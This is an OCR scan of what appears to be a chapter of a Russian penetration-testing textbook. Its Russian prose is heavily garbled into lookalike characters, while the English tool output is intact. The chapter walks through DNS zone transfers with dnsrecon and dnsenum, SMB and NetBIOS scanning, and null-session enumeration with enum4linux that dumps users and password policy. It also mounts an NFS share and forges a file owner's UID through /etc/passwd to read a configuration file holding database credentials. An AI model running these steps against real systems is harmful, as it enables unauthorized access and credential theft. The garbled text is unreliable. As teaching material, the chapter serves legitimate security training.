ns4.netstat.dumhost.com has address 19.67.20.163
sahandl.netstat.dumhost.com has address 19.67.20.162
simorgh.netstat.dumhost.com has address 19.67.20.171
tamas.netstat.dumhost.com has address 19.67.20.166
www.netstat.dumhost.com has address 120.11.7.220

B pesysbraTe Mbl HOJYYUIN yIA4HBIH 1€PEHOC 30HBL.
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DNSRecon

Dnsrecon — MONTHBIN MHCTPYMEHT, KOTOPBIN MTpeIHa3HAYEH /75T CO3/IAHMST Pa3ind-
upix DNS-3anpocos u c6opa nosesnoil undopmanuu. On gapisercsa yactbio Kali
Linux u MoseT GbITh UCITOJIb30BaH JIJIsI BBITIOJTHEHUST MHOJKECTBA 3a/1a4 B IIPOIIECCe
TECTUPOBAHUS HA TPOHUKHOBEHUE.

OcHOBHBIE BO3MOKHOCTH dnsrecon:

e 1nepebop DNS-zanuceii pasinunbix Tunos: A, AAAA, MX, NS, SOA u . 1;

® 110160p MOAJIOMEHOB C HCIOJIb30BAHUEM BCTPOEHHOTO UJIH MOJB30BATENBCKOTO
CIIOBApSI;

e 1noxbop obparubix DNS-zanuceil ajs onpeeseHnss UMEH XOCTOB B 3aJaHHOM
nuanasone [P-anpecos;

® IIpOBE€pPKa Ha YA3BHUMOCTD K II€pejadye 30HbI.

[TpoxemoncTpupyem paboty dnsrecon TPy BLITOJTHEHUH OTIMCAHHBIX BHIIIE 3a/1a4.
Jlnst Havasma mompobyeM OCyIIeCTBUTE Pa3BEKy U TOTBITKY Mepeayn 30HbL. JIJist
ATOTO MBI UCIIOJB3YEM J[BA MapamMeTpa: -d HeOOXOMM JIJIST YKa3aHUs [IEJE€BOTO J10-
MeHa, a -t — [T yKa3aHus TUIA aTaKu:

itsecbook@kali:~# dnsrecon -d netstat.dumhost.com -t axfr

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

Testing NS Servers for Zone Transfer
Checking for Zone Transfer for netstat.dumhost.com name servers
Resolving SOA Record
SOA nsl.netstat.dumhost.com 120.11.32.56
Resolving NS Records
NS Servers found:
NS ns3.netstat.dumhost.com 19.67.20.162
NS ns4.netstat.dumhost.com 120.11.32.2
NS nsl.netstat.dumhost.com 120.11.32.56
NS ns2.netstat.dumhost.com 120.11.32.3
Removing any duplicate NS server IP Addresses...

Trying NS server 120.11.32.56
Zone Transfer Failed for 120.11.32.56!
Port 53 TCP is being filtered

Trying NS server 120.11.32.3
Zone Transfer Failed for 120.11.32.3!
Port 53 TCP is being filtered

Trying NS server 120.11.32.2
Zone Transfer Failed for 120.11.32.2!
Port 53 TCP is being filtered

Trying NS server 19.67.20.162

[*]netstat.dumhost.com name server sahandl.netstat.dumhost.com.
[*]basij.netstat.dumhost.com 19.67.20.167
[*]emailserver.netstat.dumhost.com 19.67.20.169
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[*]inis.netstat.dumhost.com 19.67.20.164
[*]inra.netstat.dumhost.com 19.67.20.167
[*Imail.netstat.dumhost.com 19.67.20.169
[*Inepton2.netstat.dumhost.com 19.67.20.167
[*]ns3.netstat.dumhost.com 19.67.20.162
[*]Ins4.netstat.dumhost.com 19.67.20.163
[*]sahandl.netstat.dumhost.com 19.67.20.162
[*]simorgh.netstat.dumhost.com 19.67.20.171
[*]tamas.netstat.dumhost.com 19.67.20.166
[*]www.netstat.dumhost.com 81.91.7.220

Kak MbI BUIM U3 JaHHOTO IIpuMepa, dnsrecon cHadasia mosrydust Bce NS-3armcu st
HCCJIELyeMOTro IOMEHa, a 3aTeM MoMpoOOBaJ OCYIIECTBUTD aTaKy MO TUITY Hepeaadn
30HBI JIJIST KQKJIOTO HalifieHHoTo cepBepa. U eciin epBbie cepBephl OKA3aIuCh Heysi3-
BUMBIMH K JJAHHOMY THITY aTaKH, TO TOCTEHUN TTO3BOJIUI OCYIIECTBUTD TIEpeavdy
30HBI U TIOJIYYUTh BCE JOMEHHbIE TMEHA.

Hwke onmiieM apyTrie BO3MOKHBIE TUIIBI aTaK, CIEAYIONHIE 32 TTAPAMETPOM - t:

rv1: MOMCK 0OPATHBIX 3aMUCel B 33/[AHHOM [[HaIa30He;
brt: mepebop TOMEHOB ¥ XOCTOB € UCIIOJIB30BAHIEM CJIOBAPS;

srv: 3arucu SRV,

°
[ ]

°

e axfr:mpoBepka Bcex cepepoB NS Ha Tepeiauy 30HbI;

® bing: BBITIOJTHEHUE TTOUCKA TTOITOMEHOB U XOCTOB B Bing;

® yand: BBITIOJIHEHNE IONCKA MOJJIOMEHOB 1 XOCTOB B Yandex;
°

crt: BbIIOJIHEHUE TI0MCKA ITO/IOMEHOB 1 XOCTOB C MCII0JIb30BaHUEM crt.sh.

DNSEnum

Dnsenum — wHCTpYyMeHT /17151 TIOTydeHust mHdopMaru o jomere ot DNS-cepsepos.
OH uCII0JIb3yeT Pa3InIHbIe METOIBI OTYYEHNUST IAHHBIX, BKJII04Yast 00bratbie DNS-
3apochl, epebop To/IOMEHOB, Touck obpatHbix DNS-3amuceii U nonbITKY nepe-
maau 3006 DNS.

OcHogble GyHKIMKE dnsenum:

e nosydyenue uHGOPMALMKU O cepBepax: dnsenum MOKeT OIPEEeUTh CepBeph
nmen (NS), noutossie cepsepbl (MX) u cepBepbI, CBSI3aHHbIE C OIPe/ieJIEHHBIM
JIOMEHOM;

® 11epebop MOAJOMEHOB: ¢ IOMOIIBIO ¢JIoBapst dnsenum MOKeT MOIBITAThCS MO0~
Oparh MOAIOMEHBI, CBSI3AHHBIE ¢ OCHOBHBIM JOMEHOM;

e tnouck ob6parHbix DNS-3anuceil, IpuHaIEKAINX OMPEAETIEHHOMY IUATIA30HY
[P-anpecos;

® [IOIBITKH IIepeJadyu 30HbI;

e wucnosb3oBanre Google st OMCKa MOIIOMEHOB.
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ITpumepsl ucmonbzoBanus dnsenum:

® 1IpPOCTOM TIOUCK: dnsenum example . com. ITa KOMaH/Ia TIPOU3BOAUT Oa30BbIN aHAIN3
nomeHa example.com, BKtouast onpesesierne cepsepoB uMeH (NS) u ouTOBbIX
cepBepos (Hampumep, MX);

® T1epebop MOAIOMEHOB € UCIOIb30BaHUEM (haliia co CIIUCKOM CJIOB: dnsenum
--enum -f subdomains.txt example.com. JTa KOMaH/a UCIOJb3YeT haiia
subdomains.txt g mepeGopa BO3MOKHBIX IIOALOMEHOB example.com;

® 1iepejiaya 30HbI: dnsenum --dnsserver nsl.example.com example.com. JTa KOMaH-
J1a TIBITAETCS BBITIOJHUTD [Iepeiady 30HbI JJIst cepBepa nMeH nsl.example.com;

® JUCIOJIb30BaHUe Google JIJI TIOUCKA TI0/I/IOMEHOB: dnsenum --google example. com.

Dnsenum u dnsrecon mpeacTaBastior coboit 1Ba MOTIHBIX HHCTPYMEHTA [7ist cHopa
urdopmarn DNS, Ho pasinyarores QYHKIMSAMU 1 CIIOCOOaMI UCITOJIb30BAHMSL.

PaCCMOTpI/IM HEKOTOPbIE PA3JINUNA MEKAY OTUMU ABYMA YTUITUTaMU:

o TIloab3oBarenbckuii uarepdeiic. Dnsenum umeer 6osiee TPOCTOI TOTH30BA-
TeJbCKUI nuTepdeiic u jerde B UCII0Ib30BAHUM /11 HOBUUYKOB. B TO ke Bpems
dnsrecon mpejraraer 6osiee o6IUPHBIE U THOKKUE BOSMOKHOCTH HACTPOIKH, U4TO
MOJKET OBITh TOJIE3HO /st GoJIee OTMBITHBIX MOJIb30BATEEH.

e Mertoan moucka. Dnsenum MokeT UCTOIb30BaTh Google s momcka moumno-
MEeHOB, ToT/ia Kak dnsrecon mpumensieT Bing u Yandex st 3101t 11e1m.

e Ckopocts u 3ddextuBHOCTh. Dnsrecon 06br9HO paboraer GvicTpee U -
¢dekruBHee, yeM dnsenum, 0co6eHHO ¢ GOJMBITUME TOMEHAMY WJIU CTIUCKAMU
JIOMEHOB.

e Oo6uoBaenus. Dnsrecon 06HOBIAETCA qalge n mMeeT aKTUBHOE COO6H.[€CTBO
paSpa60T‘-II/IKOB, KOTOpPOE€ IMOCTOAHHO pa60TaeT Ha/l yJydlli€eHuEM MHCTPYMEHTA.

B memoM MOKHO CKaszaTb, 4To BEIOOp Mexkay dnsenum u dnsrecon ompenensercst
BalllMMU KOHKPETHBIMU IIOTPEOHOCTAMU U MMEIOIUMCS Y BAC OIIBITOM.

[NonyyeHne AaHHbIX C UcnonbL3oBaHMeM SMB

SMB (Server Message Block) — mpoTokoJi ceTeBoro ypoBHsi, KOTOPbINA 00Jierdaer
o6MeH (haiiamu, TPUHTEPAMU U IPYTHMHU PECypPcaMu MKy yaaaMu B ceti. OH ObLT
paszpabotan Microsoft u sBIsIeTCST OCHOBHBIM MTPOTOKOIOM JI7IsT 06MeHa (aitmamin
B cpene Windows, XOTsI Takike TO//IEPKUBAETCS W APYTUMU OTIEPAITHOHHBIMHU CH-
CTEeMaMHU.

SMB ucnonbayetcst 1711 0OMeHa TAHHBIMUA MEKIY KIUEHTOM U cepBepoM. KirimeHTt
OTIPABJISIET 3aIIPOC Ha JIOCTYTI K PeCypCy Ha cepBepe, a cepBep OTBevaeT, MPeoCTaB-
JISIST 3ATTpaIuBaeMbIe TaHHbIe WM co0bIast 0 Bo3HuKImel omubre. SMB paboraet
110 poTokojry TCP/IP 1 00bIYHO UCIIONB3YeT HOPT 445. B 1IpoIioM oH Takke uc-
nosbsosan NetBIOS over TCP/IP (NBT), paboras Ha nmoprax 137—-139.
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HecMmoTpst Ha eTo HecOMHEHHYTO TTOJIE3HOCTH, TPOTOKOI SM B Bee ske copep:RUT HeKo-
topsle yazsumoctu. On npumensiicst B WannaCry u NotPetya, rie 3710yMblIIIeHHA-
KU MCII0JIb30BaU ys13BUMOCTh B SMBV1 uist pactipoctpanenus Bpegonoctoro 110.

MNMony4yeHne nHgpopmaumm ¢ nomoubio NetBIOS

NetBIOS — nporoko, kotopsiii paspaboran kommanueit IBM g paboTb B Jio-
KaabHbIX ceTsax. Haunnas ¢ Windows XP SP2 u Windows Server 2003, npoToko
6bL1 iepepaboran komnanueil Microsoft u crasn 6osee 6esonacubiM. OgHako Gosee
crapbie Bepcur Windows, a Takske cepBuc Samba, KOTOpbIi paboTaet Moy yipasJie-
nueM Linux, Bce ele MMEIOT Psifi CEPbEe3HBIX YA3BUMOCTEIA.

NetBIOS paboraer Ha 139-m TCP-nopre. Crout ormeruts, uro SMB 1 NetBIOS —
9TO JIBa OTAEIBHBIX IIPOTOKOJIA. XOTsI COBpeMeHHbIe peanusanurn SMB moryT pa6o-
tatb 6e3 NetBIOS, NetBIOS uepes TCP (NBT) tpebyercst 1t o6paTHOil coBMe-
CTUMOCTH.

[l Havaa HalizieM XOCTBI, KOTOPBIE TTOAIEPKUBAIOT HYKHBIN TTPOTOKOJT:

itsecbook@kali:~# nmap -v -p 139,445 192.168.91.0/24

Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 ©9:15 EDT
Initiating ARP Ping Scan at 09:15

Scanning 255 hosts [1 port/host]

Completed ARP Ping Scan at ©9:15, 1.96s elapsed (255 total hosts)
Initiating Parallel DNS resolution of 3 hosts. at ©9:15

Completed Parallel DNS resolution of 3 hosts. at ©9:15, 0.01s elapsed
Nmap scan report for 192.168.91.0 [host down]

Nmap scan report for 192.168.91.3 [host down]

Nmap scan report for 192.168.91.4 [host down]

Nmap scan report for 192.168.91.252 [host down]

Nmap scan report for 192.168.91.253 [host down]

Nmap scan report for 192.168.91.255 [host down]

Initiating Parallel DNS resolution of 1 host. at ©9:15

Completed Parallel DNS resolution of 1 host. at ©9:15, 0.00s elapsed
Initiating SYN Stealth Scan at ©09:15

Scanning 3 hosts [2 ports/host]

Completed SYN Stealth Scan at ©9:15, 1.24s elapsed (6 total ports)
Nmap scan report for 192.168.91.1

Host is up (©.0021s latency).

PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: D1:85:62:B8:03:B6 (Hewlett Packard)

Nmap scan report for 192.168.91.2
Host is up (0.00032s latency).

PORT STATE SERVICE
139/tcp closed netbios-ssn
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445/tcp closed microsoft-ds
MAC Address: ©0:50:56:FE:1D:3F (VMware)

Nmap scan report for 192.168.91.254
Host is up (0.00021s latency).

PORT STATE SERVICE

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 62:51:0D:53:3A:2D (Hewlett Packard)

Initiating SYN Stealth Scan at 09:15

Scanning 192.168.91.128 [2 ports]

Completed SYN Stealth Scan at ©9:15, 0.03s elapsed (2 total ports)
Nmap scan report for 192.168.91.128

Host is up (©.000059s latency).

PORT STATE SERVICE
139/tcp closed netbios-ssn
445/tcp closed microsoft-ds

Read data files from: /usr/bin/../share/nmap
Nmap done: 256 IP addresses (4 hosts up) scanned in 3.41 seconds
Raw packets sent: 524 (14.864KB) | Rcvd: 14 (472B)

Nbtscan — yrunnra, noggepsknsaemass OC Windows 1 Linux, koropast paboraer
13 KOMaHAHOH cTpoku. C ITOMOIIbIO Hee MOXKHO TTPOCMOTPETh CIIICOK TOMEHOB,
BXOJISIIIIE B COCTAB KAXK/IOT0O JOMEHA KOMITBIOTEPBI, a TAKIKE MOJYIUTb APYTYIO UH-
opmarmio:

itsecbook@kali:~# nbtscan -r 192.168.126.0/24
Doing NBT name scan for addresses from 192.168.126.0/24

IP address NetBIOS Name Server User MAC address

192.168.126.0 Sendto failed: Permission denied
192.168.126.129 <unknown> <unknown>
192.168.126.171 ORG\ZL25424 <server> SHARON a0:1d:48:12:9d:36
192.168.126.172 ORG\ZL15917 <server> RINGO 64:31:50:a1:f5:57

192.168.126.174 ORG\ZL16500 <server> RAIMOND 90:bl:1c:6b:5b:c4

Null session

Null session — 310 Heapropusuposannas ceccuss NetBIOS mex 1y 1ByMsT KOMIIbIO-
tepamu. OHa TIpUMEHSIETCS [T TosiydeHust nadopmanuu o cepepax Windows
U pecypcax 00IIero moab30BaHms. ECIM B CeTH Pa3perieno yCTaHABINBATh CEAHCHI
TAKOTO THUIIA, TO OHU MTO3BOJISAT HAM TTOJIYYUTh OTPOMHOE KOJINYeCTBO MH(OPMAIIAN:
HOJINTUKHY T1apoJiell, UMeHa 110J1b30BaTesIell U Ha3BaHUs TPYIL, UMEHA KOMIIbIOTEPOB
UT. L
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[TompobyeM MOTYYUTh CTHCOK PECYPCOB, TIPETOCTABIISIEMBIX OHON U3 MATITHH:

C:\Users\test>net view \\AURUM
Shared resources at \\AURUM

Share name Type Used as Comment
Mobile Disk Public access
Test Disk

The command completed successfully.

A TENepb MOJIYYUM CITMCOK YUYETHBIX 3amnuceit Ha leaJIeHHOfI MalInHe:

C:\Users\test>nbtstat -A 192.168.10.56

Local Area Connection:

Node IpAddress: [192.168.10.56] Scope Id: []
NetBIOS Remote Machine Name Table

Name Type Status
AURUM <00> UNIQUE Registered
LINDA <00> GROUP Registered
SILVIJA <20> UNIQUE Registered

MAC Address = 00-E6-43-21-DE-1D

141

Ecuiu BBI siBJIsIETECH 110JIB30BaTE/IeM LinUuX, CAMBIM TIPOCTBIM CIIOCOOOM JIJIST TIOJTY-
4eHust T0JIHOM nHpopMatuu, nmpegoctasasieMoil SNMP-arentoM, OyeT HCIoab30-
BaHMe yTUANTH enum4linux. /laHHast yTHINTA TO3BOJISET TTOJYYUTh BCIO BO3MOK-
HyI0 nHbopmalmio o cucremax nox ympasieHneM OC Windows u Linux-cepsepax

C YCTaHOBJIEHHBIM CEPBUCOM Samba.

ITpogemoHcTprpyeM pabOTy AaHHON IIPOrPAMMBI U TIOCMOTPHUM, KAKUE JJAHHbIE HAM

yIAJI0CH COOPATH:

itsecbook@kali:~#  enum4linux 192.168.91.5
Starting enum4linux v0.9.1
=============( Target Information )===========

Target ........... 192.168.91.5

RID Range ........ 500-550,1000-1050

Username ......... v

Password ......... v

Known Usernames .. administrator, guest, sharon, none

Looking up status of 192.168.91.5

WINSRV <00> - M <ACTIVE> Workstation Service
WINS <03> - M <ACTIVE> Messenger Service
ADMINISTRATOR <@3> - M <ACTIVE> Messenger Service



142 naBa 04 e AKTMBHbIN CO0P AQHHbIX

MYDOMAIN <00> - <GROUP> M <ACTIVE> Domain/MYDOMAIN Name
MYDOMAIN <le> - <GROUP> M <ACTIVE> Browser Service Elections
WINSRV <20> - M <ACTIVE> File Server Service

MAC Address = 00-D0-C3-AD-11-65

[+] Server 192.168.91.5 allows sessions using username '‘', password "'

Domain Name: MYORG
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

[+] Got 0S info for 192.168.91.5 from smbclient: Domain=[MYDOMAIN] OS=[Windows
5.0] Server=[Windows 2000 LAN Manager]
[+] Got OS info for 192.168.91.5 from srvinfo:

192.168.91.5 Wk Sv Sql NT SNT BMB

platform_id : 500
os version g 5.0
server type 8 0x29007

index: Ox1 RID: ©x3ef acb: 0x00000010 Account: admin Name: (null) Desc:
(null)

index: ©x2 RID: @x1f4 acb: 0x00000210 Account: Administrator Name: (null)
Desc: Built-in account for administering the computer/domain

index: Ox6 RID: Ox1f5 acb: ©0x00000215 Account: Guest Name: (null) Desc:
Built-in account for guest access to the computer/domain

user:[admin] rid:[@x3ef]
user:[Administrator] rid:[ex1f4]
user:[Guest] rid:[0x1f5]

Domain=[MYORG] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]
Domain=[MYORG] OS=[Windows 5.0] Server=[Windows 2000 LAN Manager]

Sharename Type Comment

IPC$ IPC Remote IPC
ADMIN$ Disk Remote Admin
c$ Disk Default share

session request to 192.168.91.5 failed (Called name not present)
session request to 192 failed (Called name not present)

[+] Attempting to map shares on 192.168.91.5
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//192.168.91.5/IPC$ Mapping: OK Listing: DENIED
//192.168.91.5/ADMIN$  Mapping: DENIED, Listing: N/A
//192.168.91.5/C$ Mapping: DENIED, Listing: N/A

[+] Attaching to 192.168.91.5 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):

[+] WINSRV
[+] Builtin

[+] Password Info for Domain: WINSRV

[+] Minimum password length: None

[+] Password history length: None

[+] Maximum password age: 30 days 00 hours 00 minutes
[+] Password Complexity Flags: ©00000

[+] Domain Refuse Password Change: ©
[+] Domain Password Store Cleartext: ©
[+] Domain Password Lockout Admins: @
[+] Domain Password No Clear Change: ©
[+] Domain Password No Anon Change: ©
[+] Domain Password Complex: ©

[+] Minimum password age: None

[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes

[+] Account Lockout Threshold: None

[+] Forced Log off Time: Not Set

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: ©

[+] Getting builtin groups:
group:[Administrators] rid:[0x220]
group:[Guests] rid:[0x222]

[+] Getting builtin group memberships:

Group 'Guests' (RID: 546) has member: WINSRV\Guest

Group 'Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE

Group 'Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group 'Users' (RID: 545) has member: WINSRV\admin

Group 'Administrators' (RID: 544) has member: WINSRV\Administrator

143
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[+] Getting local groups:
[+] Getting local group memberships:

[+] Getting domain groups:
group:[None] rid:[0x201]

[+] Getting domain group memberships:

Group 'None' (RID: 513) has member: WINSRV\Administrator
Group 'None' (RID: 513) has member: WINSRV\Guest

Group 'None' (RID: 513) has member: WINSRV\admin

=( Users on 192.168.91.5 via RID cycling (RIDS: 500-550,1000-1050 )=

[I] Found new SID: S-1-5-21-1606980848-73586283-839522115

[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-5-21-1606980848-73586283-839522115 and
logon username '', password
S-1-5-21-1606980848-73586283-839522115-500 WINSRV\Administrator (Local User)
S-1-5-21-1606980848-73586283-839522115-501 WINSRV\Guest (Local User)

21-1606980848-73586283-839522115-512 *unknown*\*unknown* (8)

S-1-
S-1-5-21-1606980848-73586283-839522115-513 WINSRV\None (Domain Group)

5-
5-
I/ITaK, MbI CMOIJVIN TTOJIYYUTb OY€Hb MHOTI'O I/IHTEpGCHOfI I/IH(l)OpMa]_[I/II/IZ MMCHAa I10JIb-
SOBaTeHefI, BEpCcun yCTaHOBJIEHHOTO HO, CIITMCOK CE€TEBbIX TMUCKOB U /1a’Ke ITOJITUTNKH

Gesonacuoctu. Best mosryuentas uHGopMaIust ABJISIETCS KPUTHYHON U B PA3bI YIIPO-
MIAET 32/1a4y 3JI0YMBINJIEHHUKY TIPU B3JIOME CUCTEMBI.

Mouck NFS

NFS, wiu Network File System, aBasiercsa pacnpeznesentoii ¢aiinoBoii cucreMoi,
KOTOPas M03BOJISIET KOMITBIOTEPAM B CETU COBMECTHO UCTIOIB30BATD (Dailyibl U ApyTHe
pecypebl. OHa Oblia paspaborana B 1984 roxy komnanueii Sun Microsystems u crasia
OCHOBOIA /IJIsT MHOTHX CETEBBIX (haliJIOBBIX CHCTEM.

NFS 1no3B0JIseT 10/b30BaTeNI0 IIPOCMATPUBATh, XPAHUTH 1 OOHOBJIATH (hailibl Ha
yIAJIEeHHOM cepBepe TakuM 00pa3oM, OYATO OHM HaXOAATC Ha ero COOCTBEHHOM
komibioTepe. NFS ucroJib3yer KJIneHT-CEPBEPHbII TPOTOKOJI, T/le CEPBEP — ATO
KOMIIBIOTED, KOTOprfI XpaHUT (I)aﬁﬂbl " PeCypcehbl, a KIIMEHTBI — 9TO KOMIIbIOTEPDI,
KOTOPBIE TTOJYYAIOT IOCTYT K TUM Pecypcam.

NFS 1upoKo ucrosib3yercs: B KOpHopaTUBHBIX CETSIX, Te HeoOX0AUM 00LIHIA OCTYII
K (haistam. OHa TaksKe UCHOJIB3YETCs B OOIAYHBIX BBIYMCICHUSIX U P BUPTYaIU3aI[HK
IUUTST TIPETOCTABIIEHHST OOIIETO IOCTYTIA K PECYPCaM 1 yTTpaBienns nanubiMi. Crremyer
OTMEeTHTD, uTO B TiaHe 1B ee HacTpoiika mpeacTaBisieT coOG0M IOCTATOUHO CIOKHYIO
3a/1a4y. A IPUHUMAsT BO BHUMAHWE TO, UTO €€ TIPOTOKOJT CaM TI0 cebe HeI0CTaTouHO HGe30-
HaceH, XOT4 1 IIUPOKO IPUMEHSIETCS, 3TO JIeJIaeT €ro XOPOoIIel 1eJIbIo [ aTaKyIoIero.
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CkaHupoBaHue

Portmapper u RPCbind — ciysk6b1, HCTIOMB3YIOIIHECST IJIsT PAOOTHI ¢ Ya e HHBIMU
npoteaypamu BoizoBa (RPC). O6a cepsuca paborator va TCP-tiopre 111 u mosso-
JISTIOT KJIMEHTAaM OIPE/IETUTh, HA KAKUX TIOPTAX CEPBEP MPOCIIYIITHBAET OIPe/e/IEHHbIE
cyx6er RPC.

Portmapper — ato ciy:x0a, corocrasiistioniast Homepa mporpamm RPC ¢ Homepamu
MOPTOB, HA KOTOPBIX PAGOTAIOT ATU TIPOrPaMMBbL. ITO 1103B0JIsteT KinentaM RPC nosy-
YaTh HH(HOPMAITHIO O TOM, C KAKUM ITOPTOM OHU JIOJIKHBI COEJIMHSITHCST /15T 0O paTieH st
K onpesiesienHoit cnysx6e. RPChind Boimosnmsier aHaornuiyio (hyHKIUIO U SIBJSETCST
samenoil Portmapper B 6osiee HoBbIX cucTeMax. Portmapper u RPCbind yacro ucnosib-
3YIOTCSI B PasJIMUHbIX CETEBBIX IPOTOKOJAX U cay»xk0ax, ocHoBaHHbIX Ha RPC, —NFS
(cereBas (aiinosas crucrema), NIS (cereBas nHGOPMaIMOHHA CIyK0a) 1 T. I.

MBI MOKEM HMCIIOJAb30BATh NMAP JIJIsA TIOUCKA CUCTEM C 3ayIeHHbIMU CITysKOaMu
Portmapper u RPCbind:

itsecbook@kali:~# nmap -v -p 111 192.168.91.1-254

Jluist ympoineHust ToMCcKa BOCIIOIb3yeMCs OJJHUM M3 TOTOBBIX CKpUNITOB NSE —
rpcinfo:

itsecbook@kali:~# map -sV -p 111 --script=rpcinfo 192.168.91.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 10:19 EDT
Nmap scan report for 192.168.91.2

Host is up (0.00098s latency).

PORT STATE SERVICE VERSION
111/tcp closed rpcbind

Nmap scan report for 192.168.91.128
Host is up (0.00061s latency).

PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 50255/udp mountd

| 100005 1,2,3 56911/tcp mountd

| 100021 1,3,4 40160/udp nlockmgr
| 100021 1,3,4 57765/tcp nlockmgr
| 100024 1 34959/udp status

| 100024 1 46908/tcp status

| 100227 2,3 2049/tcp nfs_acl

I

_ 100227 2,3 2049/udp nfs_acl

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.50 seconds
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Nmap NFS NSE-ckpunThl

ITocne Toro kak Mbl 00HapykuaK cepep ¢ NFS, mombitaemcst cobpaTh GOJIbIINE HH-
hopmarim, ncnosbayst NSE-ckputiter. CKpUITHI 7151 NMap HAXOAATCS B IUPEKTOPUHI
/usr/share/nmap/scripts/.

Bce BO3MOXKHBIE CKPUIITHI 3AITyCKAIOTCS € TOMOIIBIO CHMBOJIA *:

itsecbook@kali:~# nmap -p 111 --script nfs* 192.168.91.128

Nmap scan report for 192.168.91.128

PORT STATE SERVICE

111/tcp open rpcbind

| nfs-showmount:

| _ /home/john/share 192.168.0.0/255.255.0.0

O6HapysKEHHYIO IUPEKTOPHIO CMOHTUPYEM B JIOKAJIBHBIN KATAJIOT HATIIETO KOMITHIO-
Tepa:

itsecbook@kali:~# mkdir remote_dir
itsecbook@kali:~# mount -o nolock 192.168.91.128:
/home/john/share ~/ remote_dir/

itsecbook@kali:~# cd remote_dir/

itsecbook@kali:~ /remote_dir/# 1s
configuration.php index.php robots.txt

Wrax, mbl ostyunsin gocty K daiisam Ha yranenHoMm cepsepe. HaBepuska daiin
¢ HazBanueM configuration.php mipuBiiek Baiiie BHUMaHUE, BEIb OH MOKET COIEPIKATH
JIOTHH ¥ TIAPOJIb JIJIST IoCTya K 6ase faHHbIX. [TompoOyeM BBIBECTH €T0 COAEPKUMOE
IIpY IIOMOIIN KOMaH/IbI cat:

cat configuration.php
cat: configuration.php: Permission denied

K coxasenuto, y Hac HUYEro He BBIILIO, M Kak 4acTo ObiBaeT B Linux, mpobJema,
CKOpee BCero, CBsI3aHa ¢ paBaMi A0cTyma. [IpoBepruM aTy THIIOTE3Y 1 MopodyeM
MOJIYYUTh JIOCTYTI.

[IpoBepsiem, y KOT0 ecTb IpaBa focTyna K (airy:

1s -1la

total 24

drwxr-xr-x 2 1014 1014 4096 Apr 15 12:10 .
drwxr-xr-x 7 root root 4096 Apr 15 2023 ..

-PWX------ 1 1015 1015 48 Apr 15 13:05 configuration.php
-PWX------ 1 1015 1015 48 Apr 15 13:05 index.php
=PWX=====-= 1 1015 1015 48 Apr 15 13:05 robots.txt

ITpoanasusupyem HOBbIE JaHHbIe. MBI BUAUM, 4TO JZOCTYIIOM K (hailay obsamaer
ero Baazediert, a UUID Brazennia daitra — 1015, Teneps f1st nosyuennst goctyna
K (hailiy cosgaaum nosbzosatess ¢ uaenTudnbiM UUID, Ho Ha HalieM KoMIibloTepe.
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O6paTI/IT€ BHUMaHMWE Ha TO, YTO IIpU CO3JaHNU 1TOJIb30OBATEJIA Mbl HE BbI6I/Ipa€M
UUID, OC cama ero niprcout. [ToaTomy 1ocjie co3iaHust MoJIb30BATENS MbI JIOJIKHbI
IIOMEHATDH €r0 BPYUYHYIO:

itsecbook@kali:~# adduser owner
itsecbook@kali:~# sed -i -e 's/1003/1015/g' /etc/passwd

ITosb3oBaTespb cospan, u emy pucsoed Hyskubiii UUID. Teneps He0OX0AMMO cMe-
HUTB [I0JIb30BaTEIsl U IOBTOPHO TIONPOOOBAThH IPOYNTATH MHTEPECYIOIINI Hac (aiir:

itsecbook@kali:~/remote_dir/# su owner
owner@kali: ~/remote_dir/$ cat configuration.php

public $dbtype = 'mysqli’;

public $host = 'localhost';

public $user = 'custol23_joom778"';
public $password = 'verystrongpassword';
public $db = 'custol23_joom778';

public $dbprefix = 'josf4_';

public $dbencryption = 0;

Kax MBI 1 oxuzamy, B HHTEpecyoleM Hac dafiie comepKuTcsT KOHOUTYpaTTHs
php-cxpurnTa, a Tam ykazama HeobxoanMast MHOOPMATINST 7T TIOAKTIOUEHUS K 6aze
JTAHHBIX.

PaboTa Cc aneKTpOHHOW MOYTON

B nanm a1 a71eKTpOHHAS TIOYTA SIBJISIETCST OJTHUM M3 OCHOBHBIX MHCTPYMEHTOB Be-
nenust 6usneca. Jlaske B HEOOTIBITINX OPTAHU3AIMSX ¥ KAKAOTO COTPY/IHIKA MMEETCST
nepcoHasbHbIN e-mail. ClieKTp IpUMeHEHUsT 3JIEKTPOHHON MTOYThI JOCTATOYHO I~
POK: BHYTPEHHSST KOMMYHUKAIHsI, TEPECHIIKA IOKYMEHTOB, 00IIEHNE ¢ KITHEHTAMH,
mepernncKka ¢ mapTHepaMu u T. 1. MHOTHE COTPYIHUKHU YaCTO UCTOJIB3YIOT TIOUTY
B JIMYHBIX TIETSIX, & 9TO OOJIBIITNE PUCKU € TOYKU 3peHHsT MHHOPMAIHOHHOT Oe30mac-
HOCTH, HO XOPOIIO JIJIsI B3JIOMIIIUKA.

EcTb HECKOJIBKO CTTOCOOOB MOJIyueHUsI CliicKa e-mail-agpecos kommanuu. OpuH u3
HUX Mbl YK€ PACCMOTPEJIH B IIPEAbIAYIIEH TIaBe.

Bropoii criocob we cauiikom HajexeH. OH OCHOBBIBACTCS HA TOM, YTO aJIMHHUCTPA-
TOPBI HE OTKJTIOYAIOT VRFY 1 EXPN Ha CBOMX cepBepax. B pesyssrare 37I0yMBITIIIEHHUK
